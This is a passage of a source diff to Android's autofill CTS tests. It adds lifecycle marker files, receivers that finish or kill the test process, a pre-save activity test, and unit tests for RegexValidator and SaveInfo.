+ .setRequiredSavableIds(SAVE_DATA_TYPE_ADDRESS, ID_ADDRESS1, ID_ADDRESS2)
+ .setOptionalSavableIds(ID_CITY)
+ .addDataset(new CannedDataset.Builder()
+ .setPresentation(createPresentation("SF"))
+ .setField(ID_ADDRESS1, "742 Evergreen Terrace")
+ .setField(ID_ADDRESS2, "Simpsons House")
+ .setField(ID_CITY, "Springfield")
+ .setField(ID_FAVORITE_COLOR, "Yellow")
+ .build())
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mAddress1.requestFocus());
+ sReplier.getNextFillRequest();
+
+ sUiBot.selectDataset("SF");
+ mActivity.assertAutoFilled();
+
+ // Clear the field.
+ mActivity.syncRunOnUiThread(() -> mActivity.mCity.setText(""));
+
+ // Trigger save...
+ mActivity.save();
+
+ // ...and make sure the snack bar is shown.
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_ADDRESS);
+
+ // Finally, assert values.
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS1),
+ "742 Evergreen Terrace");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_ADDRESS2),
+ "Simpsons House");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_CITY), "");
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_FAVORITE_COLOR),
+ "Yellow");
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
index 6dd2d11..fdc105b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivity.java
@@ -16,11 +16,11 @@
package android.autofillservice.cts;
+import android.app.Activity;
import android.content.Context;
+import android.os.Bundle;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
-import android.app.Activity;
-import android.os.Bundle;
import android.util.Log;
import java.io.File;
@@ -30,36 +30,65 @@
* Simple activity showing R.layout.login_activity. Started outside of the test process.
*/
public class OutOfProcessLoginActivity extends Activity {
- private static final String LOG_TAG = OutOfProcessLoginActivity.class.getSimpleName();
+ private static final String TAG = "OutOfProcessLoginActivity";
+
+ private static OutOfProcessLoginActivity sInstance;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
- Log.i(LOG_TAG, "onCreate(" + savedInstanceState + ")");
+ Log.i(TAG, "onCreate(" + savedInstanceState + ")");
super.onCreate(savedInstanceState);
setContentView(R.layout.login_activity);
- findViewById(R.id.login).setOnClickListener((v) -> {
- finish();
- });
+ findViewById(R.id.login).setOnClickListener((v) -> finish());
+
+ sInstance = this;
+ }
+
+ @Override
+ protected void onStart() {
+ Log.i(TAG, "onStart()");
+ super.onStart();
+ try {
+ if (!getStartedMarker(this).createNewFile()) {
+ Log.e(TAG, "cannot write started file");
+ }
+ } catch (IOException e) {
+ Log.e(TAG, "cannot write started file: " + e);
+ }
}
@Override
protected void onStop() {
- Log.i(LOG_TAG, "onStop()");
+ Log.i(TAG, "onStop()");
super.onStop();
try {
- getStoppedMarker(this).createNewFile();
+ if (!getStoppedMarker(this).createNewFile()) {
+ Log.e(TAG, "could not write stopped marker");
+ } else {
+ Log.v(TAG, "wrote stopped marker");
+ }
} catch (IOException e) {
- Log.e(LOG_TAG, "cannot write stopped filed");
+ Log.e(TAG, "could write stopped marker: " + e);
}
}
@Override
protected void onDestroy() {
- Log.i(LOG_TAG, "onDestroy()");
+ Log.i(TAG, "onDestroy()");
+ try {
+ if (!getDestroyedMarker(this).createNewFile()) {
+ Log.e(TAG, "could not write destroyed marker");
+ } else {
+ Log.v(TAG, "wrote destroyed marker");
+ }
+ } catch (IOException e) {
+ Log.e(TAG, "could write destroyed marker: " + e);
+ }
super.onDestroy();
+ sInstance = null;
}
/**
@@ -71,4 +100,35 @@
@NonNull public static File getStoppedMarker(@NonNull Context context) {
return new File(context.getFilesDir(), "stopped");
}
+
+ /**
+ * Get the file that signals that the activity has entered {@link Activity#onStart()}.
+ *
+ * @param context Context of the app
+ * @return The marker file that is written onStart()
+ */
+ @NonNull public static File getStartedMarker(@NonNull Context context) {
+ return new File(context.getFilesDir(), "started");
+ }
+
+ /**
+ * Get the file that signals that the activity has entered {@link Activity#onDestroy()}.
+ *
+ * @param context Context of the app
+ * @return The marker file that is written onDestroy()
+ */
+ @NonNull public static File getDestroyedMarker(@NonNull Context context) {
+ return new File(context.getFilesDir(), "destroyed");
+ }
+
+ public static void finishIt() {
+ Log.v(TAG, "Finishing " + sInstance);
+ if (sInstance != null) {
+ sInstance.finish();
+ }
+ }
+
+ public static boolean hasInstance() {
+ return sInstance != null;
+ }
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
new file mode 100644
index 0000000..b75785e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/OutOfProcessLoginActivityFinisherReceiver.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that finishes {@link OutOfProcessLoginActivity}.
+ */
+public class OutOfProcessLoginActivityFinisherReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "OutOfProcessLoginActivityFinisherReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Goodbye, unfinished business!");
+ OutOfProcessLoginActivity.finishIt();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
new file mode 100644
index 0000000..5cdcf9b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivity.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.TextView;
+
+/**
+ * A simple activity that upon submission launches {@link SimpleSaveActivity}.
+ */
+public class PreSimpleSaveActivity extends AbstractAutoFillActivity {
+
+ static final String ID_PRE_LABEL = "preLabel";
+ static final String ID_PRE_INPUT = "preInput";
+
+ TextView mPreLabel;
+ EditText mPreInput;
+ Button mSubmit;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ setContentView(R.layout.pre_simple_save_activity);
+
+ mPreLabel = findViewById(R.id.preLabel);
+ mPreInput = findViewById(R.id.preInput);
+ mSubmit = findViewById(R.id.submit);
+
+ mSubmit.setOnClickListener((v) -> {
+ finish();
+ startActivity(new Intent(this, SimpleSaveActivity.class));
+ });
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
new file mode 100644
index 0000000..b193ddf
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/PreSimpleSaveActivityTest.java
@@ -0,0 +1,333 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.assertTextAndValue;
+import static android.autofillservice.cts.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.LoginActivity.ID_USERNAME_CONTAINER;
+import static android.autofillservice.cts.PreSimpleSaveActivity.ID_PRE_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_INPUT;
+import static android.autofillservice.cts.SimpleSaveActivity.ID_LABEL;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import android.autofillservice.cts.InstrumentedAutoFillService.SaveRequest;
+import android.content.Intent;
+import android.support.test.uiautomator.UiObject2;
+import android.view.View;
+
+import org.junit.Rule;
+
+public class PreSimpleSaveActivityTest extends CustomDescriptionWithLinkTestCase {
+
+ @Rule
+ public final AutofillActivityTestRule<PreSimpleSaveActivity> mActivityRule =
+ new AutofillActivityTestRule<PreSimpleSaveActivity>(PreSimpleSaveActivity.class, false);
+
+ private PreSimpleSaveActivity mActivity;
+
+ private void startActivity(boolean remainOnRecents) {
+ final Intent intent = new Intent(mContext, PreSimpleSaveActivity.class);
+ if (remainOnRecents) {
+ intent.setFlags(
+ Intent.FLAG_ACTIVITY_RETAIN_IN_RECENTS | Intent.FLAG_ACTIVITY_NEW_DOCUMENT);
+ }
+ mActivity = mActivityRule.launchActivity(intent);
+ }
+
+ @Override
+ protected void saveUiRestoredAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // .. then do something to return to previous activity...
+ switch (type) {
+ case ROTATE_THEN_TAP_BACK_BUTTON:
+ sUiBot.setScreenOrientation(UiBot.LANDSCAPE);
+ // not breaking on purpose
+ case TAP_BACK_BUTTON:
+ sUiBot.pressBack();
+ break;
+ case FINISH_ACTIVITY:
+ // ..then finishes it.
+ WelcomeActivity.finishIt();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+
+ // ... and tap save.
+ final UiObject2 newSaveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ sUiBot.saveForAutofill(newSaveUi, true);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT), "108");
+ }
+
+ @Override
+ protected void tapLinkThenTapBackThenStartOverTest(PostSaveLinkTappedAction action,
+ boolean manualRequest) throws Exception {
+ startActivity(false);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Tap back to restore the Save UI...
+ sUiBot.pressBack();
+
+ // ...but don't tap it...
+ final UiObject2 saveUi2 = sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // ...instead, do something to dismiss it:
+ switch (action) {
+ case TOUCH_OUTSIDE:
+ sUiBot.assertShownByRelativeId(ID_LABEL).longClick();
+ break;
+ case TAP_NO_ON_SAVE_UI:
+ sUiBot.saveForAutofill(saveUi2, false);
+ break;
+ case TAP_YES_ON_SAVE_UI:
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_PRE_INPUT),
+ "108");
+ Helper.assertNoDanglingSessions();
+ break;
+ default:
+ throw new IllegalArgumentException("invalid action: " + action);
+ }
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Make sure previous session was finished.
+ Helper.assertNoDanglingSessions();
+
+ // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+ if (manualRequest) {
+ newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+ } else {
+ newActivty.syncRunOnUiThread(() -> newActivty.mPassword.requestFocus());
+ }
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ newActivty.syncRunOnUiThread(() -> {
+ newActivty.mInput.setText("42");
+ newActivty.mCommit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+ // ... and assert results
+ final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_INPUT), "42");
+ }
+
+ @Override
+ protected void saveUiCancelledAfterTappingLinkTest(PostSaveLinkTappedAction type)
+ throws Exception {
+ startActivity(type == PostSaveLinkTappedAction.TAP_RECENTS);
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(WelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.syncRunOnUiThread(() -> mActivity.mPreInput.requestFocus());
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Tap the link.
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+ tapSaveUiLink(saveUi);
+
+ // Make sure linked activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ switch (type) {
+ case TAP_RECENTS:
+ sUiBot.switchAppsUsingRecents();
+ // Make sure right activity is showing.
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ case LAUNCH_PREVIOUS_ACTIVITY:
+ startActivity(PreSimpleSaveActivity.class);
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ case LAUNCH_NEW_ACTIVITY:
+ // Launch a 3rd activity...
+ startActivity(LoginActivity.class);
+ sUiBot.assertShownByRelativeId(ID_USERNAME_CONTAINER);
+ // ...then go back
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+ break;
+ default:
+ throw new IllegalArgumentException("invalid type: " + type);
+ }
+
+ sUiBot.assertSaveNotShowing(SAVE_DATA_TYPE_PASSWORD);
+ }
+
+ @Override
+ protected void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
+ throws Exception {
+ // Prepare activity.
+ startActivity(false);
+ mActivity.mPreInput.getRootView()
+ .setImportantForAutofill(View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+
+ // Set service.
+ enableService();
+
+ // Set expectations.
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setCustomDescription(newCustomDescription(TrampolineWelcomeActivity.class))
+ .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_PRE_INPUT)
+ .build());
+
+ // Trigger autofill.
+ mActivity.getAutofillManager().requestAutofill(mActivity.mPreInput);
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ mActivity.syncRunOnUiThread(() -> {
+ mActivity.mPreInput.setText("108");
+ mActivity.mSubmit.performClick();
+ });
+ final UiObject2 saveUi = assertSaveUiWithLinkIsShown(SAVE_DATA_TYPE_PASSWORD);
+
+ // Tap the link.
+ tapSaveUiLink(saveUi);
+
+ // Make sure new activity is shown...
+ WelcomeActivity.assertShowingDefaultMessage(sUiBot);
+
+ // Save UI should be showing as well, since Trampoline finished.
+ sUiBot.assertSaveShowing(SAVE_DATA_TYPE_PASSWORD);
+
+ // Go back and make sure it's showing the right activity.
+ sUiBot.pressBack();
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Now triggers a new session in the new activity (SaveActivity) and do business as usual...
+ sReplier.addResponse(new CannedFillResponse.Builder()
+ .setRequiredSavableIds(SAVE_DATA_TYPE_EMAIL_ADDRESS, ID_INPUT)
+ .build());
+
+ // Trigger autofill.
+ final SimpleSaveActivity newActivty = SimpleSaveActivity.getInstance();
+ newActivty.getAutofillManager().requestAutofill(newActivty.mInput);
+
+ sReplier.getNextFillRequest();
+ Helper.assertHasSessions(mPackageName);
+
+ // Trigger save.
+ newActivty.syncRunOnUiThread(() -> {
+ newActivty.mInput.setText("42");
+ newActivty.mCommit.performClick();
+ });
+ // Make sure post-save activity is shown...
+ sUiBot.assertShownByRelativeId(ID_INPUT);
+
+ // Save it...
+ sUiBot.saveForAutofill(true, SAVE_DATA_TYPE_EMAIL_ADDRESS);
+
+ // ... and assert results
+ final SaveRequest saveRequest1 = sReplier.getNextSaveRequest();
+ assertTextAndValue(findNodeByResourceId(saveRequest1.structure, ID_INPUT), "42");
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
new file mode 100644
index 0000000..f7ac268
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/RegexValidatorTest.java
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.RegexValidator;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class RegexValidatorTest {
+
+ @Test
+ public void allNullConstructor() {
+ assertThrows(NullPointerException.class, () -> new RegexValidator(null, null));
+ }
+
+ @Test
+ public void nullRegexConstructor() {
+ assertThrows(NullPointerException.class,
+ () -> new RegexValidator(new AutofillId(1), null));
+ }
+
+ @Test
+ public void nullAutofillIdConstructor() {
+ assertThrows(NullPointerException.class,
+ () -> new RegexValidator(null, Pattern.compile(".")));
+ }
+
+ @Test
+ public void unknownField() {
+ AutofillId unknownId = new AutofillId(42);
+
+ RegexValidator validator = new RegexValidator(unknownId, Pattern.compile(".*"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(unknownId)).thenReturn(null);
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void singleFieldValid() {
+ AutofillId creditCardFieldId = new AutofillId(1);
+ RegexValidator validator = new RegexValidator(creditCardFieldId,
+ Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+ assertThat(validator.isValid(finder)).isTrue();
+
+ when(finder.findByAutofillId(creditCardFieldId)).thenReturn("invalid");
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+
+ @Test
+ public void singleFieldInvalid() {
+ AutofillId id = new AutofillId(1);
+ RegexValidator validator = new RegexValidator(id, Pattern.compile("\\d*"));
+
+ ValueFinder finder = mock(ValueFinder.class);
+
+ when(finder.findByAutofillId(id)).thenReturn("123a456");
+
+ // Regex has to match the whole value
+ assertThat(validator.isValid(finder)).isFalse();
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
index 5955d4f..be740b1 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryRule.java
@@ -16,9 +16,8 @@
package android.autofillservice.cts;
-import android.util.Log;
-
import android.support.test.uiautomator.StaleObjectException;
+import android.util.Log;
import org.junit.rules.TestRule;
import org.junit.runner.Description;
diff --git a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
index 9b9d651..7ca7d62 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/RetryableException.java
@@ -26,6 +26,10 @@
}
public RetryableException(String format, Object...args) {
- this(String.format(format, args));
+ super(String.format(format, args));
+ }
+
+ public RetryableException(Throwable cause, String format, Object...args) {
+ super(String.format(format, args), cause);
}
}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
new file mode 100644
index 0000000..702e1b1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SaveInfoTest.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.SaveInfo;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SaveInfoTest {
+
+ @Test
+ public void testRequiredIdsBuilder_null() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, null));
+ }
+
+ @Test
+ public void testRequiredIdsBuilder_empty() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC, new AutofillId[] {}));
+ }
+
+ @Test
+ public void testRequiredIdsBuilder_nullEntry() {
+ assertThrows(IllegalArgumentException.class,
+ () -> new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { null }));
+ }
+
+ @Test
+ public void testBuild_noOptionalIds() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC);
+ assertThrows(IllegalStateException.class, ()-> builder.build());
+ }
+
+ @Test
+ public void testSetOptionalIds_null() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class, ()-> builder.setOptionalIds(null));
+ }
+
+ @Test
+ public void testSetOptional_empty() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.setOptionalIds(new AutofillId[] {}));
+ }
+
+ @Test
+ public void testSetOptional_nullEntry() {
+ final SaveInfo.Builder builder = new SaveInfo.Builder(SaveInfo.SAVE_DATA_TYPE_GENERIC,
+ new AutofillId[] { new AutofillId(42) });
+ assertThrows(IllegalArgumentException.class,
+ () -> builder.setOptionalIds(new AutofillId[] { null }));
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
new file mode 100644
index 0000000..8dc8dd9
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/SelfDestructReceiver.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Process;
+import android.util.Log;
+
+/**
+ * A {@link BroadcastReceiver} that kills its process.
+ */
+public class SelfDestructReceiver extends BroadcastReceiver {
+
+ private static final String TAG = "SelfDestructReceiver";
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Log.i(TAG, "Goodbye, cruel world!");
+ Process.killProcess(Process.myPid());
+ }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
index 2065b3d..f092ad9 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/SessionLifecycleTest.java
@@ -19,12 +19,13 @@
import static android.autofillservice.cts.Helper.ID_LOGIN;
import static android.autofillservice.cts.Helper.ID_PASSWORD;
import static android.autofillservice.cts.Helper.ID_USERNAME;
+import static android.autofillservice.cts.Helper.assertNoDanglingSessions;
import static android.autofillservice.cts.Helper.assertTextAndValue;
import static android.autofillservice.cts.Helper.eventually;
import static android.autofillservice.cts.Helper.findNodeByResourceId;
import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.Helper.getOutOfProcessPid;
import static android.autofillservice.cts.Helper.runShellCommand;
+import static android.autofillservice.cts.OutOfProcessLoginActivity.getDestroyedMarker;
import static android.autofillservice.cts.OutOfProcessLoginActivity.getStoppedMarker;
import static android.autofillservice.cts.UiBot.LANDSCAPE;
import static android.autofillservice.cts.UiBot.PORTRAIT;
@@ -33,12 +34,15 @@
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
+import static org.junit.Assume.assumeTrue;
+
import android.app.PendingIntent;
import android.app.assist.AssistStructure;
import android.content.Intent;
import android.content.IntentSender;
import android.os.Bundle;
